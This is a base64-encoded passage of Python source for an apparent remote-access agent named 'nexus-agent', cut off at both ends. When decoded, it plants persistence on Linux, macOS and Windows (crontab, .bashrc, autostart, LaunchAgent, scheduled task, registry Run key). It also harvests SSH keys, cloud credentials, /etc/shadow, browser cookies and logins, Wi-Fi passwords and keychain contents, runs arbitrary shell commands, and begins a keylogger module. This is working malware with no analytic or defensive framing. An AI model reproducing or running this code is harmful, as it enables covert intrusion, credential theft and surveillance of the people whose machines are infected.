ZW5jZSI6CiAgICAgICAgcmVzdWx0cyA9IFtdCiAgICAgICAgaWYgc3lzdGVtID09ICJsaW51eCI6CiAgICAgICAgICAgICMgY3JvbnRhYgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBpbXBvcnQgc2hsZXgKICAgICAgICAgICAgICAgIHNydiA9IHNobGV4LnF1b3RlKHBheWxvYWQuZ2V0KCdzZXJ2ZXJfdXJsJywnJykpCiAgICAgICAgICAgICAgICBjcm9uX2xpbmUgPSBmIkByZWJvb3QgL3Vzci9iaW4vcHl0aG9uMyB7b3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKX0gLS1zZXJ2ZXIge3Nydn0gPi9kZXYvbnVsbCAyPiYxIgogICAgICAgICAgICAgICAgZXhpc3RpbmcgPSBzdWJwcm9jZXNzLnJ1bigiY3JvbnRhYiAtbCAyPi9kZXYvbnVsbCIsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHRleHQ9VHJ1ZSkuc3Rkb3V0CiAgICAgICAgICAgICAgICBpZiBjcm9uX2xpbmUuc3BsaXQoJ0ByZWJvb3QnKVsxXS5zdHJpcCgpIG5vdCBpbiBleGlzdGluZzoKICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihmJyhjcm9udGFiIC1sIDI+L2Rldi9udWxsOyBlY2hvICJ7Y3Jvbl9saW5lfSIpIHwgY3JvbnRhYiAtJywgc2hlbGw9VHJ1ZSkKICAgICAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgiY3JvbnRhYjogYWRkZWQgQHJlYm9vdCBlbnRyeSIpCiAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJjcm9udGFiOiBhbHJlYWR5IHByZXNlbnQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJjcm9udGFiOiBmYWlsZWQiKQogICAgICAgICAgICAjIC5iYXNocmMKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgYmFzaHJjID0gb3MucGF0aC5leHBhbmR1c2VyKCJ+Ly5iYXNocmMiKQogICAgICAgICAgICAgICAgaG9vayA9IGYiXG4jIG5leHVzLWFnZW50XG4ocGdyZXAgLWYgYWdlbnQucHkgfHwgcHl0aG9uMyB7b3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKX0gLS1zZXJ2ZXIge3BheWxvYWQuZ2V0KCdzZXJ2ZXJfdXJsJywnJyl9ICY+L2Rldi9udWxsICYpXG4iCiAgICAgICAgICAgICAgICB3aXRoIG9wZW4oYmFzaHJjLCAnYSsnKSBhcyBmOgogICAgICAgICAgICAgICAgICAgIGYuc2VlaygwKQogICAgICAgICAgICAgICAgICAgIGlmICduZXh1cy1hZ2VudCcgbm90IGluIGYucmVhZCgpOgogICAgICAgICAgICAgICAgICAgICAgICBmLndyaXRlKGhvb2spCiAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgiYmFzaHJjOiBob29rIGluc3RhbGxlZCIpCiAgICAgICAgICAgIGV4Y2VwdDogcmVzdWx0cy5hcHBlbmQoImJhc2hyYzogZmFpbGVkIikKICAgICAgICAgICAgIyBhdXRvc3RhcnQgLmRlc2t0b3AKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgYWQgPSBvcy5wYXRoLmV4cGFuZHVzZXIoIn4vLmNvbmZpZy9hdXRvc3RhcnQiKQogICAgICAgICAgICAgICAgb3MubWFrZWRpcnMoYWQsIGV4aXN0X29rPVRydWUpCiAgICAgICAgICAgICAgICB3aXRoIG9wZW4ob3MucGF0aC5qb2luKGFkLCAibmV4dXMtYWdlbnQuZGVza3RvcCIpLCAndycpIGFzIGY6CiAgICAgICAgICAgICAgICAgICAgZi53cml0ZShmIltEZXNrdG9wIEVudHJ5XVxuVHlwZT1BcHBsaWNhdGlvblxuTmFtZT1OZXh1cyBBZ2VudFxuRXhlYz1weXRob24zIHtvcy5wYXRoLmFic3BhdGgoX19maWxlX18pfSAtLXNlcnZlciB7cGF5bG9hZC5nZXQoJ3NlcnZlcl91cmwnLCcnKX1cbkhpZGRlbj1mYWxzZVxuTm9EaXNwbGF5PXRydWVcblgtR05PTUUtQXV0b3N0YXJ0LWVuYWJsZWQ9dHJ1ZVxuIikKICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJhdXRvc3RhcnQ6IC5kZXNrdG9wIGNyZWF0ZWQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJhdXRvc3RhcnQ6IGZhaWxlZCIpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHBsaXN0ID0gb3MucGF0aC5leHBhbmR1c2VyKCJ+L0xpYnJhcnkvTGF1bmNoQWdlbnRzL2NvbS5uZXh1c29wcy5hZ2VudC5wbGlzdCIpCiAgICAgICAgICAgICAgICBvcy5tYWtlZGlycyhvcy5wYXRoLmRpcm5hbWUocGxpc3QpLCBleGlzdF9vaz1UcnVlKQogICAgICAgICAgICAgICAgcGxpc3RfY29udGVudCA9IGYnJyc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/Pgo8IURPQ1RZUEUgcGxpc3QgUFVCTElDICItLy9BcHBsZS8vRFREIFBMSVNUIDEuMC8vRU4iICJodHRwOi8vd3d3LmFwcGxlLmNvbS9EVERzL1Byb3BlcnR5TGlzdC0xLjAuZHRkIj4KPHBsaXN0IHZlcnNpb249IjEuMCI+PGRpY3Q+PGtleT5MYWJlbDwva2V5PjxzdHJpbmc+Y29tLm5leHVzb3BzLmFnZW50PC9zdHJpbmc+CjxrZXk+UHJvZ3JhbUFyZ3VtZW50czwva2V5PjxhcnJheT48c3RyaW5nPi91c3IvYmluL3B5dGhvbjM8L3N0cmluZz48c3RyaW5nPntvcy5wYXRoLmFic3BhdGgoX19maWxlX18pfTwvc3RyaW5nPjxzdHJpbmc+LS1zZXJ2ZXI8L3N0cmluZz48c3RyaW5nPntwYXlsb2FkLmdldCgnc2VydmVyX3VybCcsJycpfTwvc3RyaW5nPjwvYXJyYXk+CjxrZXk+UnVuQXRMb2FkPC9rZXk+PHRydWUvPjxrZXk+S2VlcEFsaXZlPC9rZXk+PHRydWUvPjwvZGljdD48L3BsaXN0PicnJwogICAgICAgICAgICAgICAgd2l0aCBvcGVuKHBsaXN0LCAndycpIGFzIGY6IGYud3JpdGUocGxpc3RfY29udGVudCkKICAgICAgICAgICAgICAgIHN1YnByb2Nlc3MucnVuKFsibGF1bmNoY3RsIiwgImJvb3RvdXQiLCBmImd1aS97b3MuZ2V0dWlkKCl9IiwgcGxpc3RdLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFKQogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oWyJsYXVuY2hjdGwiLCAiYm9vdHN0cmFwIiwgZiJndWkve29zLmdldHVpZCgpfSIsIHBsaXN0XSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKICAgICAgICAgICAgICAgIHN1YnByb2Nlc3MucnVuKFsibGF1bmNoY3RsIiwgImtpY2tzdGFydCIsIGYiZ3VpL3tvcy5nZXR1aWQoKX0vY29tLm5leHVzb3BzLmFnZW50Il0sIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUpCiAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgibGF1bmNoZDogYm9vdHN0cmFwcGVkICsga2lja3N0YXJ0ZWQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJsYXVuY2hkOiBmYWlsZWQiKQogICAgICAgICAgICAjIGNyb250YWIgZm9yIG1hY09TIHRvbwogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBpbXBvcnQgc2hsZXgKICAgICAgICAgICAgICAgIHNydiA9IHNobGV4LnF1b3RlKHBheWxvYWQuZ2V0KCdzZXJ2ZXJfdXJsJywnJykpCiAgICAgICAgICAgICAgICBjcm9uX2xpbmUgPSBmIkByZWJvb3QgL3Vzci9iaW4vcHl0aG9uMyB7b3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKX0gLS1zZXJ2ZXIge3Nydn0gPi9kZXYvbnVsbCAyPiYxIgogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oZicoY3JvbnRhYiAtbCAyPi9kZXYvbnVsbDsgZWNobyAie2Nyb25fbGluZX0iKSB8IGNyb250YWIgLScsIHNoZWxsPVRydWUpCiAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgiY3JvbnRhYjogYWRkZWQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJjcm9udGFiOiBmYWlsZWQiKQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgYWdlbnRfcGF0aCA9IG9zLnBhdGguYWJzcGF0aChfX2ZpbGVfXykKICAgICAgICAgICAgc3J2ID0gcGF5bG9hZC5nZXQoInNlcnZlcl91cmwiLCAiIikKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgdGFza19jbWQgPSAncG93ZXJzaGVsbCAtQ29tbWFuZCAic2NodGFza3MgL2NyZWF0ZSAvdG4gTmV4dXNPcHNBZ2VudCAvc2MgT05MT0dPTiAvdHIgXFwicHl0aG9uICcgKyBhZ2VudF9wYXRoICsgJyAtLXNlcnZlciAnICsgc3J2ICsgJ1xcIiAvZiAvcmwgSElHSEVTVCInCiAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bih0YXNrX2NtZCwgc2hlbGw9VHJ1ZSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJzY2h0YXNrczogc2NoZWR1bGVkIHRhc2sgY3JlYXRlZCIpCiAgICAgICAgICAgIGV4Y2VwdDogcmVzdWx0cy5hcHBlbmQoInNjaHRhc2tzOiBmYWlsZWQiKQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICByZWdfY21kID0gJ3Bvd2Vyc2hlbGwgLUNvbW1hbmQgIk5ldy1JdGVtUHJvcGVydHkgLVBhdGggSEtDVTpcXFNvZnR3YXJlXFxNaWNyb3NvZnRcXFdpbmRvd3NcXEN1cnJlbnRWZXJzaW9uXFxSdW4gLU5hbWUgTmV4dXNPcHNBZ2VudCAtVmFsdWUgXFwicHl0aG9uICcgKyBhZ2VudF9wYXRoICsgJyAtLXNlcnZlciAnICsgc3J2ICsgJ1xcIiAtRm9yY2UiJwogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4ocmVnX2NtZCwgc2hlbGw9VHJ1ZSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJyZWdpc3RyeTogUnVuIGtleSBhZGRlZCIpCiAgICAgICAgICAgIGV4Y2VwdDogcmVzdWx0cy5hcHBlbmQoInJlZ2lzdHJ5OiBmYWlsZWQiKQogICAgICAgIHJldHVybiAiUGVyc2lzdGVuY2UgcmVzdWx0czogIiArICI7ICIuam9pbihyZXN1bHRzKSwgMAoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImhhcnZlc3RfY3JlZGVudGlhbHMiOgogICAgICAgIGNyZWRzID0gW10KICAgICAgICBob21lID0gb3MucGF0aC5leHBhbmR1c2VyKCJ+IikKICAgICAgICAjIFNoZWxsIGhpc3RvcnkKICAgICAgICBmb3IgaGlzdCBpbiBbIn4vLmJhc2hfaGlzdG9yeSIsICJ+Ly56c2hfaGlzdG9yeSIsICJ+Ly5teXNxbF9oaXN0b3J5IiwgIn4vLnBzcWxfaGlzdG9yeSIsICJ+Ly5weXRob25faGlzdG9yeSIsICJ+Ly5ub2RlX3JlcGxfaGlzdG9yeSJdOgogICAgICAgICAgICBwID0gb3MucGF0aC5leHBhbmR1c2VyKGhpc3QpCiAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHApOgogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHdpdGggb3BlbihwLCAncicsIGVycm9ycz0naWdub3JlJykgYXMgZjoKICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudCA9IGYucmVhZCgpWy0yMDAwMDpdCiAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYic2hlbGxfaGlzdG9yeTp7b3MucGF0aC5iYXNlbmFtZShwKX0iLCAiZGF0YSI6IGNvbnRlbnR9KQogICAgICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgIyBTU0gga2V5cwogICAgICAgIHNzaF9kaXIgPSBvcy5wYXRoLmpvaW4oaG9tZSwgIi5zc2giKQogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHNzaF9kaXIpOgogICAgICAgICAgICBmb3IgZm4gaW4gb3MubGlzdGRpcihzc2hfZGlyKToKICAgICAgICAgICAgICAgIGZwID0gb3MucGF0aC5qb2luKHNzaF9kaXIsIGZuKQogICAgICAgICAgICAgICAgaWYgb3MucGF0aC5pc2ZpbGUoZnApIGFuZCAoJ2lkXycgaW4gZm4gb3IgJ2F1dGhvcml6ZWRfa2V5cycgaW4gZm4gb3IgJ2tub3duX2hvc3RzJyBpbiBmbik6CiAgICAgICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgICAgICB3aXRoIG9wZW4oZnAsICdyJywgZXJyb3JzPSdpZ25vcmUnKSBhcyBmOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYic3NoOntmbn0iLCAiZGF0YSI6IGYucmVhZCgpWzoxMDAwMF19KQogICAgICAgICAgICAgICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgICMgQVdTIC8gY2xvdWQgY3JlZGVudGlhbHMKICAgICAgICBmb3IgY2YgaW4gWyJ+Ly5hd3MvY3JlZGVudGlhbHMiLCAifi8uYXdzL2NvbmZpZyIsICJ+Ly5jb25maWcvZ2Nsb3VkL2NyZWRlbnRpYWxzLmRiIiwKICAgICAgICAgICAgICAgICAgICAifi8uYXp1cmUvYWNjZXNzVG9rZW5zLmpzb24iLCAifi8uZG9ja2VyL2NvbmZpZy5qc29uIl06CiAgICAgICAgICAgIHAgPSBvcy5wYXRoLmV4cGFuZHVzZXIoY2YpCiAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHApOgogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHdpdGggb3BlbihwLCAncicsIGVycm9ycz0naWdub3JlJykgYXMgZjoKICAgICAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYiY2xvdWQ6e29zLnBhdGguYmFzZW5hbWUoY2YpfSIsICJkYXRhIjogZi5yZWFkKClbOjEwMDAwXX0pCiAgICAgICAgICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICAjIC9ldGMvc2hhZG93IChpZiByb290KQogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKCIvZXRjL3NoYWRvdyIpOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICB3aXRoIG9wZW4oIi9ldGMvc2hhZG93IiwgJ3InKSBhcyBmOgogICAgICAgICAgICAgICAgICAgIGNyZWRzLmFwcGVuZCh7InR5cGUiOiAic3lzdGVtOnNoYWRvdyIsICJkYXRhIjogZi5yZWFkKClbOjUwMDBdfSkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgIyBCcm93c2VyIGNvb2tpZS9zYXZlZC1sb2dpbiBEQnMgKGNvbW1vbiBwYXRocykKICAgICAgICBicm93c2VyX3BhdGhzID0gW10KICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgYnJvd3Nlcl9wYXRocyA9IFsKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8ubW96aWxsYS9maXJlZm94LyouZGVmYXVsdCovY29va2llcy5zcWxpdGUiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8ubW96aWxsYS9maXJlZm94LyouZGVmYXVsdCovbG9naW5zLmpzb24iKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8uY29uZmlnL2dvb2dsZS1jaHJvbWUvRGVmYXVsdC9Db29raWVzIiksCiAgICAgICAgICAgICAgICBvcy5wYXRoLmV4cGFuZHVzZXIoIn4vLmNvbmZpZy9nb29nbGUtY2hyb21lL0RlZmF1bHQvTG9naW4gRGF0YSIpLAogICAgICAgICAgICAgICAgb3MucGF0aC5leHBhbmR1c2VyKCJ+Ly5jb25maWcvY2hyb21pdW0vRGVmYXVsdC9Db29raWVzIiksCiAgICAgICAgICAgICAgICBvcy5wYXRoLmV4cGFuZHVzZXIoIn4vLmNvbmZpZy9jaHJvbWl1bS9EZWZhdWx0L0xvZ2luIERhdGEiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8uY29uZmlnL0JyYXZlU29mdHdhcmUvQnJhdmUtQnJvd3Nlci9EZWZhdWx0L0xvZ2luIERhdGEiKSwKICAgICAgICAgICAgXQogICAgICAgIGVsaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICBicm93c2VyX3BhdGhzID0gWwogICAgICAgICAgICAgICAgb3MucGF0aC5leHBhbmR1c2VyKCJ+L0xpYnJhcnkvQXBwbGljYXRpb24gU3VwcG9ydC9GaXJlZm94L1Byb2ZpbGVzLyouZGVmYXVsdCovY29va2llcy5zcWxpdGUiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi9MaWJyYXJ5L0FwcGxpY2F0aW9uIFN1cHBvcnQvR29vZ2xlL0Nocm9tZS9EZWZhdWx0L0Nvb2tpZXMiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi9MaWJyYXJ5L0FwcGxpY2F0aW9uIFN1cHBvcnQvR29vZ2xlL0Nocm9tZS9EZWZhdWx0L0xvZ2luIERhdGEiKSwKICAgICAgICAgICAgXQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgYnJvd3Nlcl9wYXRocyA9IFsKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdmFycygiJUFQUERBVEElXFxNb3ppbGxhXFxGaXJlZm94XFxQcm9maWxlc1xcKi5kZWZhdWx0KlxcY29va2llcy5zcWxpdGUiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdmFycygiJUxPQ0FMQVBQREFUQSVcXEdvb2dsZVxcQ2hyb21lXFxVc2VyIERhdGFcXERlZmF1bHRcXENvb2tpZXMiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdmFycygiJUxPQ0FMQVBQREFUQSVcXEdvb2dsZVxcQ2hyb21lXFxVc2VyIERhdGFcXERlZmF1bHRcXExvZ2luIERhdGEiKSwKICAgICAgICAgICAgXQogICAgICAgIGltcG9ydCBnbG9iCiAgICAgICAgZm9yIHBhdHRlcm4gaW4gYnJvd3Nlcl9wYXRoczoKICAgICAgICAgICAgZm9yIHAgaW4gZ2xvYi5nbG9iKHBhdHRlcm4pOgogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHN6ID0gb3MucGF0aC5nZXRzaXplKHApCiAgICAgICAgICAgICAgICAgICAgaWYgc3ogPiAwIGFuZCBzeiA8IDUwICogMTAyNCAqIDEwMjQ6CiAgICAgICAgICAgICAgICAgICAgICAgIHdpdGggb3BlbihwLCAncmInKSBhcyBmOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgaW1wb3J0IGJhc2U2NAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYiYnJvd3Nlcjp7b3MucGF0aC5iYXNlbmFtZShvcy5wYXRoLmRpcm5hbWUocCkpfS97b3MucGF0aC5iYXNlbmFtZShwKX0iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGF0YSI6IGJhc2U2NC5iNjRlbmNvZGUoZi5yZWFkKCkpLmRlY29kZSgndXRmLTgnKX0pCiAgICAgICAgICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICAjIFdpLUZpIHBhc3N3b3JkcyAoTGludXgpCiAgICAgICAgaWYgc3lzdGVtID09ICJsaW51eCI6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHdpZmkgPSBzdWJwcm9jZXNzLnJ1bigiZ3JlcCAtciAnXnBzaz0nIC9ldGMvTmV0d29ya01hbmFnZXIvc3lzdGVtLWNvbm5lY3Rpb25zLyAyPi9kZXYvbnVsbCB8fCBncmVwIC1yICd3cGFfcGFzc3BocmFzZScgL2V0Yy93cGFfc3VwcGxpY2FudC8gMj4vZGV2L251bGwgfHwgZWNobyAnbm8gd2lmaSciLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHRleHQ9VHJ1ZSwgdGltZW91dD01KS5zdGRvdXQKICAgICAgICAgICAgICAgIGlmIHdpZmkuc3RyaXAoKSBhbmQgJ25vIHdpZmknIG5vdCBpbiB3aWZpOgogICAgICAgICAgICAgICAgICAgIGNyZWRzLmFwcGVuZCh7InR5cGUiOiAid2lmaV9wYXNzd29yZHMiLCAiZGF0YSI6IHdpZmlbOjUwMDBdfSkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgIyBtYWNPUyBLZXljaGFpbiBkdW1wCiAgICAgICAgaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBrZXljaGFpbiA9IHN1YnByb2Nlc3MucnVuKCJzZWN1cml0eSBkdW1wLWtleWNoYWluIC1kIDI+L2Rldi9udWxsIHwgaGVhZCAtMjAwIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgdGV4dD1UcnVlLCB0aW1lb3V0PTEwKS5zdGRvdXQKICAgICAgICAgICAgICAgIGlmIGtleWNoYWluLnN0cmlwKCk6CiAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6ICJrZXljaGFpbl9kdW1wIiwgImRhdGEiOiBrZXljaGFpbls6MTAwMDBdfSkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCgogICAgICAgIHJldHVybiBqc29uLmR1bXBzKHsidHlwZSI6ImhhcnZlc3RfcmVzdWx0IiwiY3JlZGVudGlhbHMiOmNyZWRzfSksIDAKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJleHBvcnRfZGlhZ25vc3RpY3MiOgogICAgICAgIGNtZCA9ICJ1cHRpbWUgJiYgZnJlZSAtaCAmJiBkZiAtaCAmJiB1bmFtZSAtYSIgaWYgc3lzdGVtICE9ICJ3aW5kb3dzIiBlbHNlICJzeXN0ZW1pbmZvIgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIHJldHVybiBmIlVua25vd24gYWN0aW9uIHR5cGU6IHthY3Rpb25fdHlwZX0iLCAxCgpkZWYgcnVuX3NoZWxsKGNtZF9zdHIpOgogICAgaWYgbm90IHF1aWV0X21vZGU6CiAgICAgICAgcHJpbnQoZiJbKl0gRXhlY3V0aW5nIGNvbW1hbmQ6IHtjbWRfc3RyfSIpCiAgICB0cnk6CiAgICAgICAgcmVzID0gc3VicHJvY2Vzcy5ydW4oY21kX3N0ciwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuU1RET1VULCB0ZXh0PVRydWUsIHRpbWVvdXQ9MzApCiAgICAgICAgcmV0dXJuIHJlcy5zdGRvdXQsIHJlcy5yZXR1cm5jb2RlCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgcmV0dXJuIHN0cihlKSwgMQoKIyDilIDilIAgSW5wdXQgQ2FwdHVyZSBNb2R1bGUgKGtleXN0cm9rZXMsIG1vdXNlIGNsaWNrcywgd2luZG93IGZvY3VzKSDilIDilIAKSU5QVVRfQ0FQVFVSRV9FTkFCTEVEID0gRmFsc2UKY2FwdHVyZWRfZXZlbnRzID0gW10KCnRyeToKICAgIGZyb20gcHlucHV0IGltcG9ydCBrZXlib2FyZCwgbW91c2UKICAgIElOUFVUX0NBUFRVUkVfRU5BQkxFRCA9IFRydWUKZXhjZXB0IEltcG9ydEVycm9yOgogICAgcGFzcwoKZGVmIF9nZXRfYWN0aXZlX3dpbmRvd190aXRsZSgpOgogICAgIiIiVHJ5IHRvIGdldCB0aGUgYWN0aXZlIHdpbmRvdyB0aXRsZSBjcm9zcy1wbGF0Zm9ybS4iIiIKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgcmVzID0gc3VicHJvY2Vzcy5ydW4oWyJ4ZG90b29sIiwgImdldGFjdGl2ZXdpbmRvdyIsICJnZXR3aW5kb3duYW1lIl0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsIHRleHQ9VHJ1ZSwgdGltZW91dD0yKQogICAgICAgICAgICBpZiByZXMucmV0dXJuY29kZSA9PSAwOgogICAgICAgICAgICAgICAgcmV0dXJuIHJlcy5zdGRvdXQuc3RyaXAoKQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgaW1wb3J0IGN0eXBlcwogICAgICAgICAgICBmcm9tIGN0eXBlcyBpbXBvcnQgd2ludHlwZXMKICAgICAgICAgICAgdXNlcjMyID0gY3R5cGVzLndpbmRsbC51c2VyMzIKICAgICAgICAgICAgaHduZCA9IHVzZXIzMi5HZXRGb3JlZ3JvdW5kV2luZG93KCkKICAgICAgICAgICAgbGVuZ3RoID0gdXNlcjMyLkdldFdpbmRvd1RleHRMZW5ndGhXKGh3bmQpCiAgICAgICAgICAgIGJ1ZiA9IGN0eXBlcy5jcmVhdGVfdW5pY29kZV9idWZmZXIobGVuZ3RoICsgMSkKICAgICAgICAgICAgdXNlcjMyLkdldFdpbmRvd1RleHRXKGh3bmQsIGJ1ZiwgbGVuZ3RoICsgMSkKICAgICAgICAgICAgcmV0dXJuIGJ1Zi52YWx1ZQogICAgICAgIGVsaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICBzY3JpcHQgPSAndGVsbCBhcHBsaWNhdGlvbiAiU3lzdGVtIEV2ZW50cyIgdG8gZ2V0IG5hbWUgb2YgZmlyc3QgYXBwbGljYXRpb24gcHJvY2VzcyB3aG9zZSBmcm9udG1vc3QgaXMgdHJ1ZScKICAgICAgICAgICAgcmVzID0gc3VicHJvY2Vzcy5ydW4oWyJvc2FzY3JpcHQiLCAiLWUiLCBzY3JpcHRdLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFLCB0ZXh0PVRydWUsIHRpbWVvdXQ9MikKICAgICAgICAgICAgaWYgcmVzLnJldHVybmNvZGUgPT0gMDoKICAgICAgICAgICAgICAgIHJldHVybiByZXMuc3Rkb3V0LnN0cmlwKCkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuICIiCgpkZWYgX3JlY29yZF9ldmVudChldmVudF90eXBlLCBkYXRhKToKICAgICIiIlRocmVhZC1zYWZlIGV2ZW50IHJlY29yZGluZy4iIiIKICAgIGdsb2JhbCBjYXB0dXJlZF9ldmVudHMKICAgIHdpbmRvd190aXRsZSA9IF9nZXRfYWN0aXZlX3dpbmRvd190aXRsZSgpCiAgICBjYXB0dXJlZF9ldmVudHMuYXBwZW5kKHsKICAgICAgICAidGltZXN0YW1wIjogaW50KHRpbWUudGltZSgpICogMTAwMCksCiAgICAgICAgImV2ZW50VHlwZSI6IGV2ZW50X3R5cGUsCiAgICAgICAgImRhdGEiOiBkYXRhLAogICAgICAgICJ3aW5kb3dUaXRsZSI6IHdpbmRvd190aXRsZSwKICAgICAgICAicHJvY2Vzc05hbWUiOiB3aW5kb3dfdGl0bGUuc3BsaXQoIiAtICIpWy0xXSBpZiAiIC0gIiBpbiB3aW5kb3dfdGl0bGUgZWxzZSB3aW5kb3dfdGl0bGUKICAgIH0pCgpkZWYgX29uX2tleV9wcmVzcyhrZXkpOgogICAgdHJ5OgogICAgICAgIGtleV9zdHIgPSBrZXkuY2hhciBpZiBoYXNhdHRyKGtleSwgJ2NoYXInKSBhbmQga2V5LmNoYXIgZWxzZSBzdHIoa2V5KQogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBr